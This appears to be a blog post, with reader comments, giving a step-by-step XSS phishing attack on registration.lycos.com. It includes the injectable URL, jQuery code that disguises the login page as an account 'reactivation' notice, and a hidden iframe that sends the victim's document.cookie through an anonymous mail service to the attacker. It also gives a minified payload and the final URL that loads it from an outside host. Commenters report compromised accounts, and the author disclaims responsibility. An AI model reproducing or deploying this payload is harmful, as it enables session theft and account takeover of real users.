Phishing With jQuery - Registration.Lycos.Com

jQuery is a wonderful tool when the need to traverse the HTML DOM arises. With only a few lines of code the layout of a web page can be drastically altered. Using an XSS vulnerability and a bit of creativity we can manipulate http://registration.lycos.com, turning it into what appears to be a reactivation link that users must click to keep their accounts. When the user navigates to the page, the malicious code reads the value cookie and sends it to us using an anonymous mailing service. All of this will happen transparently as the user is waiting to be redirected to http://mail.lycos.com.



First, we need the vulnerability. https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script>alert('Hello, World');</script> will work.

Next is the jQuery. Using it we're going to alter the title and login form, then email the cookie value by appending a hidden iframe to TestDiv. The JavaScript below should fulfill these needs, mailing to you@yourdomain.com.

$(this).load(function() {
$('title').html('Reactivation');
$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');
var u = 'http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message=' + escape(document.cookie) + '&kind=html';
$('#TestDiv').append('<iframe style="display:none;" src="' + u + '" />');

setTimeout("window.location='http://mail.lycos.com';", 5000);
});

To obscure our code and keep the URL short we can remove all unnecessary whitespace and append it to the end of the jQuery file. Doing so would look something like this:

[jQuery] $(this).load(function(){$('title').html('Reactivation');$('form').html('<div id="TestDiv"></div><h3 style="color:green;margin:">Activated</h3>Your account has been reactivated.<br />Redirecting to <a href="http://mail.lycos.com">http://mail.lycos.com</a>...');var u='http://send-anonymous-email.com/Record.php?email_from=someemail%40domain.com&email_to=you%40yourdomain.com&subject=Have+A+Cookie&message='+escape(document.cookie)+'&kind=html';$('#TestDiv').append('<iframe style="display:none;" src="'+u+'"/>');setTimeout("window.location='http://mail.lycos.com';",5000);});

Include the modified version of jQuery using the vulnerability and the result will look like the screenshot below.


https://registration.lycos.com/login.php?action=login&m_PR=27&m_CBURL=http://www.lycos.com/&m_U='/><script src="http://www.yourdomain.com/modifiedjQuery.js"></script>

  2. Ummm, thanks a lot. So now all my private emails and account data is being sent to whom? Grrr, so crazy to think I'm a person who gives lots of my own free-time volunteering in my community and helping people out, and you are doing your best to fuck people over. What a crazy shitty world.

  3. I think someone actually took your code and totally screwed up Lycos for real. Perhaps you should look into it and help them sort it all out before you get a call from about a million lawyers - especially ones from Lycos.

  4. John,

    What does this means to all of us who are now locked out of our Lycos free email accounts?

  5. What does this mean now that we've all given away our usernames & passwords?!? Or are they only after our credit card numbers?

  6. First off, thanks to all for the feedback! Unfortunately this will not help anyone recover their free Lycos email account. As to whether the information contained in this post was used in a malicious manner, I do not know. If it was, such an occurance would be unfortunate and I certainly would not condone the acts of the individual(s) involved. This was posted for informational purposes only. Any anger should be redirected to those that provide a premium service with gaping holes in it. Exactly what information can be compromised using this vulnerability I am unsure of; I do not have a Lycos email account.
